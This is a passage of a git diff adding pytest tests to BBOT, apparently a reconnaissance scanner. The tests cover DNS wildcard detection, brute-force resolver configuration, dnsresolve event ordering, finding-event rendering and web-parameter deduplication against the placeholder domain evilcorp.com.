test_nested_wildcards(bbot_scanner): + """A wildcard nested under a wildcard with a different pool is detected as the nested zone.""" + scan = bbot_scanner("evilcorp.com", config={"dns": {"wildcard_ignore": []}}) + await scan._prep() + await scan.helpers.dns._mock_dns(NESTED_WILDCARD_DNS) + + # every depth under the nested zone must report the same parent, so the names dedupe + for query in ("a.nested.evilcorp.com", "a.b.nested.evilcorp.com", "a.b.c.d.e.nested.evilcorp.com"): + wildcard_rdtypes = await scan.helpers.dns.is_wildcard(query, ["A"]) + assert wildcard_rdtypes.get("A") == (True, "nested.evilcorp.com"), query + + # a name under a wildcard that matches no wildcard pool may be real + wildcard_rdtypes = await scan.helpers.dns.is_wildcard("real.evilcorp.com", ["A"]) + assert wildcard_rdtypes.get("A") == ("POSSIBLE", "evilcorp.com") + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_nested_wildcard_deduplication(bbot_scanner): + """Names at any depth under a nested wildcard collapse into one _wildcard.* event.""" + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + per_domain_only = True + + async def handle_event(self, event): + for host in ("a.nested.evilcorp.com", "a.b.nested.evilcorp.com", "a.b.c.d.e.nested.evilcorp.com"): + await self.emit_event(host, "DNS_NAME", parent=event) + + scan = bbot_scanner( + "evilcorp.com", + config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []}, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(NESTED_WILDCARD_DNS) + dummy_module = DummyModule(scan) + scan.modules["dummy_module"] = dummy_module + events = [e async for e in scan.async_start()] + + dns_names = sorted(e.data for e in events if e.type == "DNS_NAME") + assert dns_names == ["_wildcard.nested.evilcorp.com", "evilcorp.com"] + + @pytest.mark.asyncio async def test_dns_graph_structure(bbot_scanner): scan = bbot_scanner("https://evilcorp.com", config={"dns": {"search_distance": 1, "minimal": False}}) @@ -902,11 +958,459 @@ async def test_dns_helpers(bbot_scanner): # all_rdtypes is the canonical list -- make sure it's not empty and contains the basics assert "A" in all_rdtypes and "AAAA" in all_rdtypes and "CNAME" in all_rdtypes - # make sure system nameservers are excluded from use by DNS brute force + # make sure the resolvers used for normal resolution are excluded from brute-forcing brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) await scan._prep() - scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] + scan.helpers.dns.resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) assert resolvers == {"1.2.3.4", "4.3.2.1"} + + # custom nameservers replace the system ones, and are likewise kept out of + # the brute-force pool so brute traffic can't rate-limit our own queries + scan = bbot_scanner( + config={"dns": {"nameservers": ["8.8.8.8", "8.8.4.4"], "brute_nameservers": brute_nameservers}} + ) + await scan._prep() + assert scan.helpers.dns.resolvers == ["8.8.8.8", "8.8.4.4"] + assert scan.helpers.dns.blastdns.resolvers == ["8.8.8.8:53", "8.8.4.4:53"] + # resolver_file is what external tools (e.g. nuclei) are pointed at + assert set(scan.helpers.read_file(scan.helpers.dns.resolver_file)) == {"8.8.8.8", "8.8.4.4"} + resolver_file = await scan.helpers.dns.brute.resolver_file() + assert set(scan.helpers.read_file(resolver_file)) == {"1.2.3.4", "4.3.2.1"} + + # custom nameservers given with a port are matched by host against the bare-IP brute list + brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8", "2001:4860:4860::8888"]) + scan = bbot_scanner( + config={ + "dns": { + "nameservers": ["8.8.8.8:53", "8.8.4.4:5353", "[2001:4860:4860::8888]:53"], + "brute_nameservers": brute_nameservers, + } + } + ) + await scan._prep() + resolver_file = await scan.helpers.dns.brute.resolver_file() + assert set(scan.helpers.read_file(resolver_file)) == {"1.2.3.4", "4.3.2.1"} + + # with no custom nameservers, the system ones are used + scan = bbot_scanner() + await scan._prep() + assert scan.helpers.dns.resolvers == list(scan.helpers.dns.system_resolvers) + + +@pytest.mark.asyncio +async def test_dns_brute_draws_resolvers_per_scan(bbot_scanner, monkeypatch): + """A scan draws dns.brute_max_resolvers resolvers at random, once, and every run shares them.""" + from bbot.core.helpers.dns import brute as brute_module + + drawn = [] + + class FakeClient: + def __init__(self, resolvers, config): + drawn.append(resolvers) + + monkeypatch.setattr(brute_module, "Client", FakeClient) + + pool = [f"10.0.{i // 256}.{i % 256}" for i in range(1000)] + scan = bbot_scanner(config={"dns": {"brute_nameservers": tempwordlist(pool), "brute_max_resolvers": 50}}) + await scan._prep() + client = await scan.helpers.dns.brute.client() + assert await scan.helpers.dns.brute.client() is client + assert [len(d) for d in drawn] == [50] + assert set(drawn[0]) <= set(pool) + + # another scan makes its own draw + scan = bbot_scanner(config={"dns": {"brute_nameservers": tempwordlist(pool), "brute_max_resolvers": 50}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert len(drawn[-1]) == 50 + assert set(drawn[-1]) != set(drawn[0]) + + # the shipped default draws 600 + scan = bbot_scanner(config={"dns": {"brute_nameservers": tempwordlist(pool)}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert len(drawn[-1]) == 600 + + # 0 means the whole list + scan = bbot_scanner(config={"dns": {"brute_nameservers": tempwordlist(pool), "brute_max_resolvers": 0}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert sorted(drawn[-1]) == sorted(pool) + + +@pytest.mark.asyncio +async def test_dns_brute_client_config(bbot_scanner, monkeypatch): + """Every dns.brute_* option has to reach the blastdns client. + + blastdns rejects unknown ClientConfig keys, but a value BBOT never passes + fails silently as a default, which is invisible in scan output. + """ + from bbot.core.helpers.dns import brute as brute_module + + captured = {} + + class FakeClient: + def __init__(self, resolvers, config): + captured["resolvers"] = resolvers + captured["config"] = config + + monkeypatch.setattr(brute_module, "Client", FakeClient) + + brute_nameservers = tempwordlist(["1.2.3.4", "4.3.2.1"]) + scan = bbot_scanner( + config={ + "dns": { + "brute_nameservers": brute_nameservers, + "brute_threads": 123, + "brute_inflight_per_resolver": 7, + "brute_rate_limit": 456, + "brute_retries": 9, + "brute_timeout": 0.25, + "brute_persistent_socket": True, + } + } + ) + await scan._prep() + await scan.helpers.dns.brute.client() + + config = captured["config"] + assert config.max_concurrency == 123 + assert config.max_inflight_per_resolver == 7 + assert config.rate_limit == 456 + assert config.max_retries == 9 + assert config.request_timeout_ms == 250 + assert config.persistent_socket is True + # brute-force names are unique by construction, so a cache is pure overhead + assert config.cache_capacity == 0 + + # a rate limit of 0 means unlimited, which blastdns spells as None + scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers, "brute_rate_limit": 0}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert captured["config"].rate_limit is None + # the shipped default must not silently drift back to a slow tail + assert captured["config"].request_timeout_ms == 500 + # one socket per resolver keeps NAT state bounded by the resolver count instead + # of growing with query volume, so it has to stay on by default + assert captured["config"].persistent_socket is True + + # and it stays overridable, for anywhere the extra sockets are the tighter bound + scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers, "brute_persistent_socket": False}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert captured["config"].persistent_socket is False + + # An unusable nameserver fails loudly instead of being silently ignored. + # Validation is blastdns's, so it happens when the client is built. + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"]}}) + with pytest.raises(ValidationError, match="dns.nameservers"): + _ = scan.helpers.dns.resolvers + + # _prep() builds the client up front, so a bad nameserver aborts the scan there + # instead of surfacing once per event inside dnsresolve + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"]}}) + with pytest.raises(ValidationError, match="dns.nameservers"): + await scan._prep() + + # a DNS-disabled scan never resolves, so it must not be blocked by that check + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"], "disable": True}}) + await scan._prep() + + +def test_dns_client_config(bbot_scanner, monkeypatch): + """dns.threads and dns.max_concurrency reach the main blastdns client, and the total is capped.""" + from bbot.core.helpers.dns import dns as dns_module + + captured = {} + + class FakeClient: + def __init__(self, resolvers, config): + captured["config"] = config + + monkeypatch.setattr(dns_module, "Client", FakeClient) + nameservers = ["1.1.1.1", "8.8.8.8"] + + scan = bbot_scanner(config={"dns": {"nameservers": nameservers, "threads": 7, "max_concurrency": 123}}) + dns = scan.helpers.dns + assert captured["config"].max_inflight_per_resolver == 7 + assert captured["config"].max_concurrency == 123 + assert dns.concurrency == 14 + + # the total never exceeds dns.max_concurrency, however many resolvers there are + scan = bbot_scanner(config={"dns": {"nameservers": nameservers, "threads": 100, "max_concurrency": 150}}) + assert scan.helpers.dns.concurrency == 150 + + # shipped defaults: 50 in flight per resolver, 256 in total + scan = bbot_scanner(config={"dns": {"nameservers": nameservers}}) + dns = scan.helpers.dns + assert captured["config"].max_inflight_per_resolver == 50 + assert captured["config"].max_concurrency == 256 + assert dns.concurrency == 100 + + +@pytest.mark.asyncio +async def test_dnsresolve_module_threads(bbot_scanner): + """dnsresolve runs half as many workers as the DNS client has slots (at least 10), unless overridden.""" + nameservers = ["1.1.1.1", "8.8.8.8"] + + scan = bbot_scanner("evilcorp.com", config={"dns": {"nameservers": nameservers, "threads": 50}}) + await scan._prep() + assert scan.modules["dnsresolve"].module_threads == 50 + + scan = bbot_scanner( + "evilcorp.com", config={"dns": {"nameservers": nameservers, "threads": 50, "max_concurrency": 60}} + ) + await scan._prep() + assert scan.modules["dnsresolve"].module_threads == 30 + + scan = bbot_scanner("evilcorp.com", config={"dns": {"nameservers": nameservers, "threads": 3}}) + await scan._prep() + assert scan.modules["dnsresolve"].module_threads == 10 + + scan = bbot_scanner( + "evilcorp.com", + config={"dns": {"nameservers": nameservers, "threads": 3}, "modules": {"dnsresolve": {"module_threads": 7}}}, + ) + await scan._prep() + assert scan.modules["dnsresolve"].module_threads == 7 + + +@pytest.mark.asyncio +async def test_dnsresolve_incoming_lanes(bbot_scanner): + from bbot.core.helpers.async_helpers import LaneQueue + + scan = bbot_scanner("evilcorp.com") + await scan._prep() + dnsresolve = scan.modules["dnsresolve"] + + dns_name = scan.make_event("www.evilcorp.com", "DNS_NAME", parent=scan.root_event) + open_port = scan.make_event("www.evilcorp.com:443", "OPEN_TCP_PORT", parent=dns_name) + new_host_url = scan.make_event("http://new.evilcorp.com/", "URL_UNVERIFIED", parent=dns_name) + finished = scan.make_event("FINISHED", "FINISHED", dummy=True) + + # hosts that still need resolving wait; hosts already resolved upstream (and hostless events) don't + assert dnsresolve.incoming_lane(dns_name) == 1 + assert dnsresolve.incoming_lane(new_host_url) == 1 + assert dnsresolve.incoming_lane(open_port) == 0 + assert dnsresolve.incoming_lane(finished) == 0 + + # the queue feeding dnsresolve is divided by those lanes + queue = dnsresolve.incoming_event_queue + assert isinstance(queue, LaneQueue) + for event in (dns_name, new_host_url, open_port): + queue.put_nowait((event, {})) + assert [queue.get_nowait()[0] for _ in range(3)] == [open_port, dns_name, new_host_url] + + +# a host and a child on that host, emitted together by one module (as urlscan and asset_inventory do) +parent_child_mock_data = { + "evilcorp.com": {"A": ["127.0.0.1"]}, + "ok.evilcorp.com": {"A": ["127.0.0.3"]}, + # resolves to a blacklisted IP + "bad.evilcorp.com": {"A": ["127.0.0.99"]}, + # in scope only because it resolves to a target IP + "viaip.othercorp.net": {"A": ["127.0.1.5"]}, + # doesn't resolve + "dead.evilcorp.com": {}, + # inside a wildcard zone + r"regex:.*\.wild\.evilcorp\.com$": {"A": ["127.0.0.4"]}, +} +parent_child_hosts = ( + "ok.evilcorp.com", + "bad.evilcorp.com", + "viaip.othercorp.net", + "dead.evilcorp.com", + "foo.wild.evilcorp.com", +) + + +async def run_parent_child_scan(bbot_scanner, order): + """ + Scan where a module emits each host in `parent_child_hosts` as a DNS_NAME plus an OPEN_TCP_PORT child of it. + + `order` controls the order dnsresolve handles them in: + - "parent_first" / "child_first": one dnsresolve worker, FIFO queues, the given event emitted first + - "lanes": one dnsresolve worker with its real lanes, held until every host and child is queued + """ + import asyncio + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + target_only = True + + async def handle_event(self, event): + for host in parent_child_hosts: + host_event = self.make_event(host, "DNS_NAME", parent=event) + port_event = self.make_event(f"{host}:443", "OPEN_TCP_PORT", parent=host_event) + pair = (port_event, host_event) if order == "child_first" else (host_event, port_event) + for e in pair: + await self.emit_event(e) + + scan = bbot_scanner( + "evilcorp.com", + "127.0.1.0/24", + blacklist=["127.0.0.99"], + config={"modules": {"dnsresolve": {"module_threads": 1}}, "dns": {"wildcard_ignore": []}}, + ) + await scan._prep() + await scan.helpers.dns._mock_dns(parent_child_mock_data) + dummy_module = DummyModule(scan) + scan.modules["dummy_module"] = dummy_module + dnsresolve = scan.modules["dnsresolve"] + + queue_filled = None + if order == "lanes": + # hold dnsresolve's only worker on the first of these events until the rest are queued behind it + handle_event = dnsresolve.handle_event + + async def gated_handle_event(event, **kwargs): + nonlocal queue_filled + if queue_filled is None and event.host in parent_child_hosts: + queue_filled = False + for _ in range(100): + if dnsresolve.incoming_event_queue.qsize() >= 2 * len(parent_child_hosts) - 1: + queue_filled = True + break + await asyncio.sleep(0.05) + return await handle_event(event, **kwargs) + + dnsresolve.handle_event = gated_handle_event + else: + # keep emission order all the way into dnsresolve + dummy_module._outgoing_event_queue = asyncio.Queue() + dnsresolve.incoming_lane = lambda event: 0 + + events = [e async for e in scan.async_start()] + if order == "lanes": + assert queue_filled, "hosts and their children never queued up together" + return events + + +@pytest.mark.asyncio +@pytest.mark.parametrize("order", ["parent_first", "child_first", "lanes"]) +async def test_dnsresolve_parent_child_order(bbot_scanner, order): + """A host and its child come out of dnsresolve the same way no matter which is handled first.""" + events = await run_parent_child_scan(bbot_scanner, order) + + def find(event_type, data): + return [e for e in events if e.type == event_type and e.data == data] + + # the parent is resolved, not demoted to DNS_NAME_UNRESOLVED by its child's pass + assert [e.type for e in events if e.host == "ok.evilcorp.com" and e.type.startswith("DNS_NAME")] == ["DNS_NAME"] + # the child gets the parent's IPs and scope + port = find("OPEN_TCP_PORT", "ok.evilcorp.com:443") + assert len(port) == 1 + assert port[0].resolved_hosts == {"127.0.0.3"} + assert port[0].scope_distance == 0 + + # nothing on a host that resolves to a blacklisted IP gets into the scan + assert not [e for e in events if e.host == "bad.evilcorp.com"] + + # a host that's in scope only through its IP brings its child into scope with it + viaip = find("DNS_NAME", "viaip.othercorp.net") + assert len(viaip) == 1 + assert viaip[0].scope_distance == 0 + port = find("OPEN_TCP_PORT", "viaip.othercorp.net:443") + assert len(port) == 1 + assert port[0].scope_distance == 0 + assert port[0].resolved_hosts == {"127.0.1.5"} + + # a host that really doesn't resolve is still DNS_NAME_UNRESOLVED + assert [e.type for e in events if e.host == "dead.evilcorp.com" and e.type.startswith("DNS_NAME")] == [ + "DNS_NAME_UNRESOLVED" + ] + port = find("OPEN_TCP_PORT", "dead.evilcorp.com:443") + assert len(port) == 1 + assert not port[0].resolved_hosts + + # a wildcard host collapses (once per emitting module), and its child keeps its own host + wild = [e.data for e in events if e.type.startswith("DNS_NAME") and e.data.endswith(".wild.evilcorp.com")] + assert wild and set(wild) == {"_wildcard.wild.evilcorp.com"} + port = find("OPEN_TCP_PORT", "foo.wild.evilcorp.com:443") + assert len(port) == 1 + assert port[0].resolved_hosts == {"127.0.0.4"} + + +@pytest.mark.asyncio +@pytest.mark.parametrize("release", ["first_arrived_first", "last_arrived_first", "together"]) +async def test_dnsresolve_parent_child_interleaved(bbot_scanner, release): + """A host's DNS_NAME and its child give the same result when their lookups of that host overlap, in any order.""" + import asyncio + from bbot.modules.base import BaseModule + + hosts = ("ok.evilcorp.com", "bad.evilcorp.com") + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + target_only = True + + async def handle_event(self, event): + for host in hosts: + host_event = self.make_event(host, "DNS_NAME", parent=event) + await self.emit_event(host_event) + await self.emit_event(f"{host}:443", "OPEN_TCP_PORT", parent=host_event) + + scan = bbot_scanner("evilcorp.com", blacklist=["127.0.0.99"]) + await scan._prep() + await scan.helpers.dns._mock_dns(parent_child_mock_data) + scan.modules["dummy_module"] = DummyModule(scan) + + # hold every A lookup of these hosts until both the DNS_NAME's pass and the child's pass are waiting on it + dns = scan.helpers.dns + resolve_multi_full = dns.resolve_multi_full + waiting = {host: [] for host in hosts} + all_waiting = {host: asyncio.Event() for host in hosts} + + async def held_resolve_multi_full(query, rdtypes): + if query in waiting and "A" in rdtypes and len(waiting[query]) < 2: + gate, done = asyncio.Event(), asyncio.Event() + waiting[query].append((gate, done)) + if len(waiting[query]) == 2: + all_waiting[query].set() + await gate.wait() + try: + return await resolve_multi_full(query, rdtypes) + finally: + # set before returning, so the released pass applies its results before the next one is released + done.set() + return await resolve_multi_full(query, rdtypes) + + dns.resolve_multi_full = held_resolve_multi_full + + async def release_lookups(host): + try: + await asyncio.wait_for(all_waiting[host].wait(), timeout=10) + except asyncio.TimeoutError: + # only one pass looked the host up; let the scan finish so the assertions below report it + for gate, _ in waiting[host]: + gate.set() + return + lookups = list(waiting[host]) + if release == "last_arrived_first": + lookups.reverse() + if release == "together": + for gate, _ in lookups: + gate.set() + else: + for gate, done in lookups: + gate.set() + await done.wait() + # let the released pass apply its results + await asyncio.sleep(0.1) + + releasers = [asyncio.create_task(release_lookups(host)) for host in hosts] + events = [e async for e in scan.async_start()] + # both passes looked the host up themselves, and their lookups overlapped + for task in releasers: + await task + assert all(len(lookups) == 2 for lookups in waiting.values()) + + assert [e.type for e in events if e.host == "ok.evilcorp.com" and e.type.startswith("DNS_NAME")] == ["DNS_NAME"] + port = [e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "ok.evilcorp.com:443"] + assert len(port) == 1 + assert port[0].resolved_hosts == {"127.0.0.3"} + assert not [e for e in events if e.host == "bad.evilcorp.com"] diff --git a/bbot/test/test_step_1/test_e2e.py b/bbot/test/test_step_1/test_e2e.py index ee030b8375..aee0831153 100644 --- a/bbot/test/test_step_1/test_e2e.py +++ b/bbot/test/test_step_1/test_e2e.py @@ -8,6 +8,7 @@ """ import json +import shutil import subprocess import sys import os @@ -32,15 +33,22 @@ def _find_repo_root(): @pytest.fixture(scope="module") def bbot_venv(tmp_path_factory): - """Create a fresh virtualenv and pip-install bbot from the local checkout.""" + """Create a fresh virtualenv and install bbot from the local checkout.""" venv_dir = tmp_path_factory.mktemp("bbot_e2e_venv") repo_root = _find_repo_root() - subprocess.check_call([sys.executable, "-m", "venv", str(venv_dir)]) - pip = str(venv_dir / "bin" / "pip") - bbot = str(venv_dir / "bin" / "bbot") + # uv reuses its shared wheel cache, which CI already warmed via `uv sync` + uv = shutil.which("uv") + if uv: + subprocess.check_call([uv, "venv", str(venv_dir), "--python", sys.executable, "--seed", "--quiet"]) + venv_python = str(venv_dir / "bin" / "python") + subprocess.check_call([uv, "pip", "install", "-e", repo_root, "--python", venv_python, "--quiet"], timeout=300) + else: + subprocess.check_call([sys.executable, "-m", "venv", str(venv_dir)]) + pip = str(venv_dir / "bin" / "pip") + subprocess.check_call([pip, "install", "-e", repo_root, "--quiet"], timeout=300) - subprocess.check_call([pip, "install", "-e", repo_root, "--quiet"], timeout=300) + bbot = str(venv_dir / "bin" / "bbot") assert os.path.isfile(bbot), f"bbot CLI not found at {bbot}" return bbot @@ -106,6 +114,9 @@ def run_bbot(bbot_bin, *args, timeout=180): ) +# bbot_venv is module-scoped but xdist scopes fixtures per worker, so splitting +# these across workers rebuilds the venv once per worker +@pytest.mark.xdist_group("e2e_venv") class TestE2E: def test_install_and_help(self, bbot_venv): """bbot installs from local source and -h works.""" diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 95e3d5a1f5..ca55fe6a6f 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -175,6 +175,27 @@ async def test_events(events, helpers): ) assert getattr(wp_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + # url_extension: HTTP_RESPONSE events + # modules that filter on url_extension (e.g. paramminer, lightfuzz) rely on this being set + def _http_response(url): + return scan.make_event( + {"url": url, "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + dummy=True, + ) + + hr_pdf = _http_response("https://evilcorp.com/files/document.pdf?foo=bar") + assert getattr(hr_pdf, "url_extension", "") == "pdf" + assert "extension-pdf" in hr_pdf.tags + hr_no_ext = _http_response("https://evilcorp.com/search") + assert getattr(hr_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + + # special extensions (.js) must still reach modules that don't opt in to special URLs, + # since the response body has already been retrieved. the distribution behavior + # itself is pinned in test_modules_basic.py + hr_js = _http_response("https://evilcorp.com/app.js") + assert getattr(hr_js, "url_extension", "") == "js" + # http response assert events.http_response.host == "example.com" assert events.http_response.port == 80 @@ -293,6 +314,24 @@ async def test_events(events, helpers): assert tag in affiliate_event2.tags assert tag not in affiliate_event3.tags + # an in-scope event is never an affiliate, whether tagged directly or inheriting it + in_scope_parent = scan.make_event("https://evilcorp.com/", "URL", parent=root_event, tags=["status-200"]) + in_scope_parent.scope_distance = 0 + tagged_in_scope = scan.make_event( + "https://evilcorp.com/a", "URL_UNVERIFIED", parent=in_scope_parent, tags="affiliate" + ) + assert tagged_in_scope.scope_distance == 0 + assert "affiliate" not in tagged_in_scope.tags + out_of_scope_affiliate = scan.make_event( + "https://evilcorp.net/", "URL_UNVERIFIED", parent=in_scope_parent, tags="affiliate" + ) + assert out_of_scope_affiliate.scope_distance == 1 + assert "affiliate" in out_of_scope_affiliate.tags + in_scope_child = scan.make_event("https://evilcorp.net/b", "URL_UNVERIFIED", parent=out_of_scope_affiliate) + assert "affiliate" in in_scope_child.tags + in_scope_child.scope_distance = 0 + assert "affiliate" not in in_scope_child.tags + # discovery context event = scan.make_event( "127.0.0.1", parent=scan.root_event, context="something discovered {event.type}: {event.data}" @@ -396,8 +435,54 @@ async def test_events(events, helpers): "FINDING", dummy=True, ) - assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf" + assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf Host: [192.168.1.1]" assert test_vuln2.host.is_private + # host is not repeated when the description already contains it + test_vuln3 = scan.make_event( + { + "host": "www.evilcorp.com", + "severity": "INFO", + "confidence": "HIGH", + "description": "Something found on www.evilcorp.com", + "name": "Test Finding", + }, + "FINDING", + dummy=True, + ) + assert test_vuln3.data_human == "Severity: [INFO] Confidence: [HIGH] Something found on www.evilcorp.com" + # url takes the place of host when present + test_vuln4 = scan.make_event( + { + "host": "www.evilcorp.com", + "url": "http://www.evilcorp.com/admin", + "severity": "INFO", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, + "FINDING", + dummy=True, + ) + assert test_vuln4.data_human == "Severity: [INFO] Confidence: [HIGH] asdf (http://www.evilcorp.com/admin)" + # a finding that isn't on a URL can carry its own port, which is part of its identity + port_finding = { + "host": "evilcorp.com", + "severity": "HIGH", + "confidence": "HIGH", + "description": "asdf", + "name": "Test", + } + test_vuln5 = scan.make_event({**port_finding, "port": "6379"}, "FINDING", parent=scan.root_event) + test_vuln6 = scan.make_event({**port_finding, "port": 6380}, "FINDING", parent=scan.root_event) + assert test_vuln5.data["port"] == 6379 + assert (test_vuln5.port, test_vuln5.netloc) == (6379, "evilcorp.com:6379") + assert test_vuln5.data_human == "Severity: [HIGH] Confidence: [HIGH] asdf Host: [evilcorp.com:6379]" + assert test_vuln5.id != test_vuln6.id + from bbot.core.event import event_from_json + + assert event_from_json(test_vuln5.json()).port == 6379 + with pytest.raises(ValidationError, match=".*port.*"): + scan.make_event({**port_finding, "port": "ssh"}, "FINDING", dummy=True) # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) @@ -699,6 +784,21 @@ async def test_events(events, helpers): assert reconstituted_event.type == "HTTP_RESPONSE" assert reconstituted_event.parent_id == scan.root_event.id + # a re-emitted response is distinguished by a marker on the event rather than in its data, + # and has to keep that distinct id across a json round trip + assert "reemit_source" not in http_response.json() + unpacked_response = scan.make_event(blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event) + assert unpacked_response.id == http_response.id + unpacked_response.reemit_source = "js_unpacker" + assert unpacked_response.id != http_response.id + assert "_reemit_source" not in unpacked_response.data + unpacked_json = unpacked_response.json() + assert unpacked_json["reemit_source"] == "js_unpacker" + assert "_reemit_source" not in unpacked_json["data_json"] + reconstituted_unpacked = event_from_json(unpacked_json) + assert reconstituted_unpacked.reemit_source == "js_unpacker" + assert reconstituted_unpacked.id == unpacked_response.id + event_1 = scan.make_event("127.0.0.1", parent=scan.root_event) event_2 = scan.make_event("127.0.0.2", parent=event_1) event_3 = scan.make_event("127.0.0.3", parent=event_2) @@ -1027,6 +1127,75 @@ async def test_event_web_spider_distance(bbot_scanner): assert "spider-max" not in url_event_5.tags +@pytest.mark.asyncio +async def test_event_archived_provenance(): + """A finding whose evidence is an archived snapshot renders with an [ARCHIVED] marker, so the + severity is never read as a claim about the live host.""" + scan = Scanner() + await scan._prep() + archived_response = scan.make_event( + { + "method": "GET", + "url": "http://www.evilcorp.com/asdf", + "hash": {"header_mmh3": "1", "body_mmh3": "2"}, + "raw_header": "HTTP/1.1 200 OK\r\n\r\n", + "archive_url": "http://web.archive.org/web/20190101000000/http://www.evilcorp.com/asdf", + }, + "HTTP_RESPONSE", + parent=scan.root_event, + tags=["from-wayback", "archived"], + ) + + finding = scan.make_event( + { + "host": "www.evilcorp.com", + "description": "test", + "severity": "HIGH", + "confidence": "HIGH", + "name": "Test Finding", + }, + "FINDING", + parent=archived_response, + ) + archive_url = "http://web.archive.org/web/20190101000000/http://www.evilcorp.com/asdf" + assert finding.archive_url == archive_url + assert finding.pretty_string.startswith("[ARCHIVED] Severity: [HIGH]") + # output.txt / stdout render data_human, which carries the snapshot URL itself + assert finding.data_human.startswith("Severity: [HIGH]") + assert finding.data_human.endswith(f"(archived: {archive_url})") + # output.json serializes json(), and the snapshot URL must not become part of the finding's identity + assert finding.json()["archive_url"] == archive_url + assert "archive_url" not in finding.json()["data_json"] + + live_response = scan.make_event( + { + "method": "GET", + "url": "http://www.evilcorp.com/qwerty", + "hash": {"header_mmh3": "3", "body_mmh3": "4"}, + "raw_header": "HTTP/1.1 200 OK\r\n\r\n", + }, + "HTTP_RESPONSE", + parent=scan.root_event, + ) + live_finding = scan.make_event( + { + "host": "www.evilcorp.com", + "description": "test", + "severity": "HIGH", + "confidence": "HIGH", + "name": "Live Finding", + }, + "FINDING", + parent=live_response, + ) + assert live_finding.archive_url is None + assert live_finding.pretty_string.startswith("Severity: [HIGH]") + assert live_finding.data_human.startswith("Severity: [HIGH]") + assert "archive_url" not in live_finding.json() + + await scan._cleanup() + + @pytest.mark.asyncio async def test_event_closest_host(): scan = Scanner() @@ -1070,6 +1239,31 @@ async def test_event_closest_host(): assert vuln.data["path"] == "/tmp/asdf.txt" assert vuln.host == "www.evilcorp.com" + # finding inherits the port from its parent, and keeps it across a json round trip + from bbot.core.event import event_from_json + + open_port = scan.make_event("8.8.8.8:53", "OPEN_TCP_PORT", parent=scan.root_event) + port_finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, + "FINDING", + parent=open_port, + ) + assert port_finding.host == ipaddress.ip_address("8.8.8.8") + assert port_finding.port == 53 + assert port_finding.json()["port"] == 53 + reconstituted_finding = event_from_json(port_finding.json()) + assert reconstituted_finding.port == 53 + assert reconstituted_finding.id == port_finding.id + # a finding with its own host doesn't inherit anything + own_host_finding = scan.make_event( + {"host": "1.2.3.4", "description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, + "FINDING", + parent=open_port, + ) + assert own_host_finding.port is None + assert "port" not in own_host_finding.json() + assert event_from_json(own_host_finding.json()).port is None + # no host and no path == not allowed event3 = scan.make_event("wat", "ASDF", parent=scan.root_event) assert not event3.host @@ -1383,3 +1577,72 @@ async def _instant_finish(ev, _orig=orig_queue): assert "original_value" in event.data, "original_value stripped during distribution -- sentinel missing" await scan._cleanup() + + +@pytest.mark.asyncio +async def test_web_parameter_querystring_dedup(): + """A parameter is identified by its name and type on a page, not by the query string of + the request that revealed it. url_querystring_collapse=False opts back in to treating + sibling parameter values as significant, so those scans fuzz each variant separately.""" + + def make_param(scan, url, name="message", param_type="POSTPARAM"): + return scan.make_event( + { + "host": "example.com", + "type": param_type, + "name": name, + "original_value": "", + "url": url, + "description": f"{param_type} [{name}]", + }, + "WEB_PARAMETER", + parent=scan.root_event, + ) + + base = "https://example.com/contact" + rotating_value = f"{base}?csrf=a08157098935259&id=6" + rotating_name = f"{base}?csrf=c19ae748d80ed939&id=6&aYBNT794ROfpo=0978126345" + + # collapse=True (the default, and what lightfuzz/lightfuzz-light inherit): a page that + # reissues a token on every load is still one work item + scan = Scanner("example.com", config={"url_querystring_remove": False, "url_querystring_collapse": True}) + await scan._prep() + a = make_param(scan, f"{base}?csrf=7f01d97aec3100c7&id=6") + e = make_param(scan, rotating_value) + assert a.data_id == e.data_id, "rotating parameter values must collapse" + assert hash(a) == hash(e) + assert a._outgoing_dedup_hash(a) == e._outgoing_dedup_hash(e) + # ...and ordering is not identity either + assert make_param(scan, f"{base}?id=6&csrf=7f01d97aec3100c7").data_id == a.data_id + + # a page that invents a new parameter NAME on every load does not collapse here. dedup + # structurally cannot fold those together, so lightfuzz's max_baseline_generations is + # what bounds that loop + assert make_param(scan, rotating_name).data_id != a.data_id + + # parameter names are part of the page's identity, so a front controller's pages stay + 